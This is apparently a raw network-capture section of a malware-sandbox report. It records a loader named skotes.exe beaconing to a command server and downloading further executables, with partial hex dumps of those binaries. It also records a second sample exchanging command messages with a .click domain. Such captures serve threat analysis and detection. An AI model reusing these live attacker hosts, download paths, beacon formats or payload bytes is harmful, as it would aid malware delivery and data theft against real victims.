Dec 20, 2024 04:12:53.884919882 CET	1236	IN	Data Raw: 7e a3 a2 b8 69 73 67 3f 48 2f 0d a8 bf 56 dc 8d af d6 b2 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 Data Ascii: ~isg?H/Vaw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\z
Dec 20, 2024 04:12:53.884936094 CET	1236	IN	Data Raw: c9 cc c3 19 7b b0 d2 46 b9 b4 20 24 9a d8 ff 55 df 52 db de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b Data Ascii: {F $UR"S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7
Dec 20, 2024 04:12:53.885021925 CET	1236	IN	Data Raw: ba 20 15 79 be bf f7 8a 29 56 6f 67 b6 86 d0 a2 bd db 0d f2 c0 82 16 f1 6b 0c a9 91 33 89 fc bd 10 25 32 90 22 64 4b 1b 92 0b 3f 7b 31 7c 0e 65 c8 0e 55 60 0a d1 80 4a 31 81 82 7b b1 74 ae 14 04 90 ba 37 09 ac 60 68 4b e6 14 da 7f 96 0c 64 ad a5 Data Ascii: y)Vogk3%2"dK?{1\|eU`J1{t7`hKdDH8"qC3o@'LW0rfq>Qr_sn%5u({4`zR!\|OjDT!e,Uy"6E[CyG7ov97b$,Zq]C{F[
Dec 20, 2024 04:12:53.885036945 CET	1236	IN	Data Raw: 2a 8e 66 07 ef 16 ad ed d4 1d b1 b3 c1 dc 4d 8a b1 dc b1 40 a5 1f 4f 95 9a 8b e0 bc 67 f6 67 41 91 95 bb 6b f0 ec 1f aa b9 89 b8 a2 22 d2 1d dd 8b 2e 3b 77 8b 06 19 4d 10 88 6a 43 d8 ce 00 45 c2 67 ac b8 bf 8f dd 12 6f cd 03 0b f0 88 45 d7 62 0a Data Ascii: *fM@OggAk".;wMjCEgoEb<$s}c8)q~"cjQJh#V7pgcxy"]l~zi6(wLbLTY!cjz0qa{lZMpJ1d]NJNq%}
Dec 20, 2024 04:12:53.885054111 CET	1236	IN	Data Raw: e2 1e d2 0a 7b 2e ca 6e b6 b6 80 c8 05 f1 a8 58 f2 38 51 e0 09 ea f0 b6 44 d0 83 b0 f3 f5 ad cc 13 ba 6e dd 63 d1 cb 2e 74 9b 94 f7 ed a9 45 6d 38 76 12 7b 4a 8b 05 24 99 e0 4f 22 72 30 9b d1 48 df e1 42 00 4a 3c e4 ce 66 22 5e 5f 9e 0a 4e 5f ab Data Ascii: {.nX8QDnc.tEm8v{J$O"r0HBJ<f"^_N_(iPw:%!_m2I^_}6@T Ui'K/"vV>tCoCdj@^vpF)u\;TU_?A{1}^3A+<6L`Mg3/
Dec 20, 2024 04:12:53.885071039 CET	1236	IN	Data Raw: cc ca 3b d5 94 dd e0 ac 96 cb 32 30 a2 e9 db fe 75 bf 9c 58 3f 21 25 9e bb e6 8b 05 1b 46 74 bf 5f b0 b1 31 4c fe 83 ed 76 9e 1d 2f dd 18 fe a2 93 40 8a ea 63 7e cd 2b d7 6e 8c e1 d3 ed f7 4e f9 99 f1 74 b4 cd 0b 57 3a f8 d1 38 cc 7e 14 b3 5d 0c Data Ascii: ;20uX?!%Ft_1Lv/@c~+nNtW:8~]!n>X6k$Yw%ro4&)rL</'Q$1G1{%Gy]9yQH#-+A6I=Fzh8)~LyASkkQoS![<Y?
Dec 20, 2024 04:12:53.885142088 CET	1236	IN	Data Raw: ee e5 db c5 3b 8b 5c 0b d5 e4 dc bd 16 de 29 4e 34 32 3d 48 17 6e 58 55 8a d9 f8 50 57 bb 1b a4 d4 08 a8 af 8d f4 32 e8 e0 2c 18 ac 16 cd f3 60 51 1c d1 77 89 5d 2b 51 52 48 09 4b 12 d7 de 36 71 e1 15 d3 af c1 a2 12 55 12 79 93 c9 f0 f0 86 22 89 Data Ascii: ;\)N42=HnXUPW2,`Qw]+QRHK6qUy"sn\J':,{[g4sdbUZXaD_IBIG:JX7$vAiulee''>2kAlk=u0MK:Ihqx)84k #I.45H'
Dec 20, 2024 04:12:54.004291058 CET	1236	IN	Data Raw: c8 6b 67 fd 9a 98 0f 93 60 64 97 bc 55 25 d4 ef 1d ea 58 32 a1 d0 7e ad 65 2c 79 4c c7 35 7b ce 48 b9 b6 35 82 6c bf 1f 8d 9e 8f 9d 82 75 63 d8 d7 f4 11 87 91 e3 4b 68 a7 24 2e b5 69 8e c7 cd d6 ba db ec e3 23 c4 c6 fc a3 31 be 9d 39 9b 7c 1d d8 Data Ascii: kg`dU%X2~e,yL5{H5lucKh$.i#19\|x,\z)QIRa# E}vt{1&(YS%j.CHoZ;.FJC4ud+5MkE(*<j)k"($@Yt\THW//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49904	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:55.058123112 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 31 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018147001&unit=246122658369
Dec 20, 2024 04:12:56.403429031 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49909	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:56.526093006 CET	61	OUT	GET /files/bckosq/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:12:57.896840096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:57 GMT Content-Type: application/octet-stream Content-Length: 810496 Last-Modified: Thu, 19 Dec 2024 19:41:56 GMT Connection: keep-alive ETag: "67647704-c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 fa bb 5e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 66 02 00 00 d4 00 00 00 00 00 00 12 c3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 06 03 00 50 00 00 00 00 70 03 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 cb 02 00 18 00 00 00 f8 8f 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 60 08 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL^g"f@@Ppxx`\|.textmdf `.rdatan@@.data,% @.CODEP `.tls`0@.rsrcp2@@.relocx4@B.bssR@.bss0@
Dec 20, 2024 04:12:57.896893978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:57.896959066 CET	1236	IN	Data Raw: 00 8b 45 f0 83 c4 18 5d c2 04 00 cc cc cc cc cc cc cc cc 55 89 e5 83 ec 08 89 4d fc 8b 4d fc 89 4d f8 e8 7c 07 00 00 8b 4d f8 e8 24 08 00 00 83 c4 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 8b 45 0c 8b 45 08 8b 45 08 8a 00 Data Ascii: E]UMMM\|M$]UPEEEEEEME]UWVHEE@(C1D$DD$8MD$0D$4M@-M@L$0D$4)
Dec 20, 2024 04:12:57.897013903 CET	1236	IN	Data Raw: 8b 40 04 83 c0 00 01 c1 e8 92 11 00 00 8b 4d c0 88 45 bb 8b 01 8b 40 04 83 c0 00 89 ce 01 c6 8b 01 8b 40 04 83 c0 00 01 c1 e8 d1 10 00 00 8d 4d d0 89 04 24 e8 c6 38 00 00 83 ec 04 8b 4d b4 8a 55 bb 8b 45 bc 8d 5d d8 8d 7d d0 89 1c 24 8b 1f 89 5c Data Ascii: @ME@@M$8MUE]}$\$\|$t$T$D$8M8EEM@E1$D$MM1mxE\^_[]UEEMMM
Dec 20, 2024 04:12:57.897049904 CET	1236	IN	Data Raw: 8b 45 0c 8b 4d 08 89 0c 24 89 44 24 04 e8 14 74 00 00 8b 4d fc 31 e9 e8 49 74 00 00 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 10 8b 45 0c 8b 45 08 8b 45 0c 8b 08 83 c1 23 89 08 8b 45 08 8b 00 89 45 fc 8b 45 fc 8b 40 fc 89 45 f8 Data Ascii: EM$D$tM1It]UEEE#EEE@EEE+EE}}# ME]UE]UPMM]UMMMME
Dec 20, 2024 04:12:57.897083998 CET	1236	IN	Data Raw: 8d 45 f4 89 0c 24 89 44 24 04 e8 a8 00 00 00 8b 00 89 45 f0 8b 45 f0 89 45 ec 8b 4d fc 31 e9 e8 6d 6f 00 00 8b 45 ec 83 c4 1c 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 0c 8b 45 0c 8b 45 08 8b 45 0c 8b 08 83 c1 01 89 08 c7 45 fc 00 00 Data Ascii: E$D$EEEM1moE]UEEEEEM$D$EEE]UEEEM]UE]UPEEEM;EEEEE]
Dec 20, 2024 04:12:57.897119045 CET	1236	IN	Data Raw: 89 45 f4 e9 00 00 00 00 8b 45 f4 83 c4 0c 5d c3 cc cc cc 55 89 e5 83 ec 14 8b 45 0c 8b 45 08 89 4d fc 8b 45 fc 89 45 f8 8d 0d 38 81 42 00 89 08 83 c0 04 31 c9 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 08 00 00 00 e8 46 c2 00 00 8b 45 f8 8b 4d Data Ascii: EE]UEEMEE8B1$D$D$FEMH]UEMMMMEEEE$iE]UEMMMMEE0EE$iE]
Dec 20, 2024 04:12:57.897151947 CET	1236	IN	Data Raw: 89 e5 50 89 4d fc 8b 4d fc e8 f1 00 00 00 83 f8 00 0f 94 c0 24 01 0f b6 c0 83 c4 04 5d c3 cc 55 89 e5 50 89 4d fc 8b 45 fc 8b 40 3c 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 24 a1 40 28 43 00 31 e8 89 45 fc 89 4d f0 Data Ascii: PMM$]UPME@<]U$@(C1EMMM@HE}tEM$MFEMvEEM@E1$D$BMM1d
Dec 20, 2024 04:12:57.897186041 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 89 4d fc 8b 4d fc e8 b1 0e 00 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 e8 38 00 00 00 5d c3 cc cc cc cc cc cc 55 89 e5 50 8b 45 0c 8b 45 08 89 4d fc 8b 45 fc 8b 4d 08 89 08 8b 4d Data Ascii: UPMM]U8]UPEEMEMMH]UP5C5Cd,975C$`=5Cp.@$a5C$`p&C]Up&Cr]UE
Dec 20, 2024 04:12:57.897218943 CET	1236	IN	Data Raw: 5e 5d c2 0c 00 cc cc 55 89 e5 83 ec 14 8b 45 08 89 4d f8 8b 4d f8 89 4d f0 89 4d fc 8b 45 08 89 45 f4 e8 10 fb ff ff 8b 45 f4 83 f8 00 0f 84 0b 00 00 00 8b 45 f0 89 04 24 e8 bf 5b 00 00 8b 45 fc 83 c4 14 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc Data Ascii: ^]UEMMMMEEEE$[E]UV4EEU5@(C1uUEMEEEP ME$gEMHMHMM$EE$MmEBMHMHM
Dec 20, 2024 04:12:58.017416000 CET	1236	IN	Data Raw: e9 2b 00 00 00 8b 4d d8 8b 45 0c 8b 55 08 8b 7d 0c 8d 75 ec 89 3c 24 8a 1e 88 5c 24 04 89 54 24 08 89 44 24 0c e8 69 00 00 00 83 ec 10 89 45 e8 8b 45 e8 89 45 d4 8b 4d f0 31 e9 e8 2d 57 00 00 8b 45 d4 83 c4 30 5e 5f 5b 5d c2 08 00 cc cc cc cc cc Data Ascii: +MEU}u<$\$T$D$iEEEM1-WE0^_[]UVEEEMUupPEE^]UWVPEEE@(C1EMMMME@E+E;EMEEEE@EE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49921	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:13:01.835293055 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 31 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018148001&unit=246122658369
Dec 20, 2024 04:13:03.188920021 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49926	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:13:03.492252111 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:13:04.835750103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:13:04 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 20, 2024 04:13:04.835793018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$fQft
Dec 20, 2024 04:13:04.835803032 CET	448	IN	Data Raw: b1 fc ff ff 90 83 ec 1c 8b 44 24 20 89 04 24 e8 f1 7c 0b 00 85 c0 0f 94 c0 83 c4 1c 0f b6 c0 f7 d8 c3 90 90 90 55 89 e5 83 ec 08 8d 0d 04 a1 52 00 8d 05 20 40 54 00 89 0c 24 89 44 24 04 e8 82 23 0b 00 83 c4 08 5d c3 66 2e 0f 1f 84 00 00 00 00 00 Data Ascii: D$ $\|UR @T$D$#]f.UR @T$D$%]ffffffUEPuM uPQ]]rPQ1s]f.fUVtjPvyFtjPvd
Dec 20, 2024 04:13:04.835889101 CET	1236	IN	Data Raw: 83 c4 0c 8b 5e 30 8b 46 2c 85 db 89 45 f0 74 31 8b 45 f0 8d 78 08 eb 13 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 83 c7 14 4b 74 16 8b 47 fc 85 c0 74 f3 6a 01 50 ff 37 e8 59 e2 00 00 83 c4 0c eb e4 8b 46 28 85 c0 74 14 c1 e0 02 8d 04 80 6a 04 50 ff Data Ascii: ^0F,Et1Exf.KtGtjP7YF(tjPu<FHPF4=ttjPv8rtvIFrtv4Frtv\Vz^_[]F4tjPv8s
Dec 20, 2024 04:13:04.835899115 CET	1236	IN	Data Raw: 44 01 d8 39 f8 0f 83 c4 02 00 00 0f b6 0c 06 31 c0 ba 01 00 00 00 0f a5 d0 d3 e2 f6 c1 20 b9 00 00 00 00 0f 45 c2 0f 45 d1 23 44 24 2c 23 54 24 50 09 c2 74 bc 8b 4c 24 28 8b 54 24 20 89 f0 39 d1 89 d6 8d 14 18 0f 47 f1 8b 4c 24 30 89 f0 89 74 24 Data Ascii: D91 EE#D$,#T$PtL$(T$ 9GL$0t$<9Gf9tL<\$9'\$$x:t+\$(t$4D$ \|$Xf.fD$(\|$t$4@9D$ s:H;D$09L$$:tD$X\$L
Dec 20, 2024 04:13:04.835907936 CET	448	IN	Data Raw: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 44 24 08 89 44 24 08 01 f0 53 ff 74 24 20 50 e8 d3 71 0b 00 83 c4 0c 8b 45 10 01 de 29 f7 89 74 24 18 39 c7 89 c7 0f 83 13 fe ff ff 57 56 8d 44 24 18 50 e8 97 71 00 00 83 c4 0c 8b 44 24 14 8b 74 24 18 8b Data Ascii: .@D$D$St$ PqE)t$9WVD$PqD$t$}E\|$L$@)D$)9sD$QWPUqL$\|$L$PSQNqD$T\|$D$xe^_[]t$<K9G(\$(\|$K9G
Dec 20, 2024 04:13:04.835999012 CET	1236	IN	Data Raw: 53 57 56 83 ec 24 e8 a2 2a 00 00 8d 45 d0 6a 0c 68 b6 f1 4b 00 6a 1a 68 9c f1 4b 00 50 e8 db ad 00 00 83 c4 14 8b 7d d8 8b 75 d0 8b 5d d4 83 ff 07 77 17 85 ff 74 56 31 d2 0f 1f 40 00 80 3c 13 00 74 17 42 39 d7 75 f5 eb 43 57 53 6a 00 e8 8a be 09 Data Ascii: SWV$*EjhKjhKP}u]wtV1@<tB9uCWSjt3tDu]}UEhKhLKPjj(s}u]}EPSjj$=]h5Rjh3
Dec 20, 2024 04:13:04.836087942 CET	1236	IN	Data Raw: f2 0f 10 45 e0 f2 0f 10 8d 24 fe ff ff f2 0f 10 55 b0 89 85 48 ff ff ff 8b 85 2c fe ff ff f2 0f 11 85 40 ff ff ff f2 0f 11 8d 4c ff ff ff f2 0f 10 8d 40 fe ff ff 89 85 54 ff ff ff 8b 45 b8 f2 0f 11 95 58 ff ff ff 89 85 60 ff ff ff 8b 85 48 fe ff Data Ascii: E$UH,@L@TEX`Hdhlpxjjj@P@P]H@@tjPDLtjPP{XtjP\
Dec 20, 2024 04:13:04.836098909 CET	1236	IN	Data Raw: f6 89 87 48 01 00 00 89 8f 4c 01 00 00 8b 4d ec 89 da e8 8e 4f 00 00 eb a8 66 2e 0f 1f 84 00 00 00 00 00 66 90 c1 e8 1c 3b 45 dc 72 17 e9 31 0c 00 00 0f 1f 00 c1 e8 1d 83 c8 08 3b 45 dc 0f 83 18 0c 00 00 8b 8d 2c ff ff ff 8b 1c 81 83 fb 7f 77 33 Data Ascii: HLMOf.f;Er1;E,w3H;@a@P5gMf.@s?@Aos-@?$?AB:
Dec 20, 2024 04:13:04.836107969 CET	1236	IN	Data Raw: bd 50 ff ff ff c7 85 54 ff ff ff 60 21 40 00 c7 85 40 fe ff ff 70 92 50 00 c7 85 44 fe ff ff 06 00 00 00 c7 85 50 fe ff ff 00 00 00 00 89 85 58 ff ff ff 8d 85 c0 fe ff ff c7 85 5c ff ff ff 60 21 40 00 89 85 60 ff ff ff 8d 85 18 fe ff ff c7 85 64 Data Ascii: PT`!@@pPDPX\`!@`d`!@h@l`!@HL@QPEtjPu4tjP8EjP,D@
Dec 20, 2024 04:13:04.955501080 CET	1236	IN	Data Raw: 0c 8b 85 fc fe ff ff 85 c0 74 11 6a 01 50 ff b5 00 ff ff ff e8 c4 c3 00 00 83 c4 0c 8b 85 24 fe ff ff 85 c0 74 11 6a 01 50 ff b5 28 fe ff ff e8 a9 c3 00 00 83 c4 0c 8b 85 30 fe ff ff 85 c0 74 11 6a 01 50 ff b5 34 fe ff ff e8 8e c3 00 00 83 c4 0c Data Ascii: tjP$tjP(0tjP4tjPstjVuaEtjPu9EtjPu$ tjPVtjP

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49788	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-20 03:12:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 03:12:18 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kf0iar3ncg6nrk45bo9il8rd7r; expires=Mon, 14 Apr 2025 20:58:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kqf7mVSayTnfjeXy9ngJosIW0xERVkUqeGZ7lj9gdQwNQK%2FdY0tzqZjEsVrGUK6Ctr62snKyFIBBE%2FBIGZHUjnyTsongNTlnvQPCWmREpkaajbnmL1upIeB%2BtLEaLxspCD9%2BTwG1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c732fe84a423b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1655&rtt_var=634&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1707602&cwnd=226&unsent_bytes=0&cid=fd41263ffa371b56&ts=781&x=0"
2024-12-20 03:12:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 03:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49790	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:19 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-20 03:12:19 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-20 03:12:20 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=deqivsktrg4t3652djtpj51prm; expires=Mon, 14 Apr 2025 20:58:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eK5nLVjZUN8nNkR7OEDGfcn8Y95bU8u0nPJzf%2Bg6R5BXhEDV2qwYrPTFZ5j1YzWQze9GIq7NvCGA4aDsjPoZRjl%2FKIXKY4Ds%2BRBgrWqA9jdkyrsHKUbwMh1CGNud0gqEP24HinCU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c733c6b1d41bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2122&min_rtt=2116&rtt_var=806&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=949&delivery_rate=1347485&cwnd=248&unsent_bytes=0&cid=bfc9e9d658ae347a&ts=820&x=0"
2024-12-20 03:12:20 UTC	244	IN	Data Raw: 34 36 65 0d 0a 36 63 45 63 52 38 51 43 7a 41 61 6b 79 49 7a 36 50 4c 76 2f 45 55 69 62 42 51 35 7a 65 2f 50 4e 4e 6d 71 74 50 66 42 43 6a 66 71 53 34 32 70 6c 2f 6a 62 67 4a 4e 65 74 72 73 42 49 79 59 70 30 5a 4c 6c 6b 61 6c 46 42 6c 61 78 61 47 63 67 52 30 6a 54 67 32 4e 4f 6e 66 53 75 33 5a 2b 41 6b 77 62 43 75 77 47 66 41 33 58 51 6d 75 54 38 73 46 68 47 52 72 46 6f 49 7a 46 61 66 4d 75 47 5a 67 61 31 37 4c 36 46 68 71 47 66 49 70 65 6d 66 57 64 71 56 66 79 48 32 62 57 4e 52 56 39 47 6f 54 45 69 58 48 37 30 6e 2b 5a 75 6b 6f 47 38 73 35 6e 2f 67 66 59 61 74 34 74 67 47 6d 5a 35 30 4b 76 64 6a 61 68 67 54 6d 36 56 53 43 63 6c 58 67 43 76 72 6b 6f 47 6a 65 43 36 72 61 4c 78 71 77 71 4c 69 6d 56 50 61 33 54 31 71 2f 6e 38 Data Ascii: 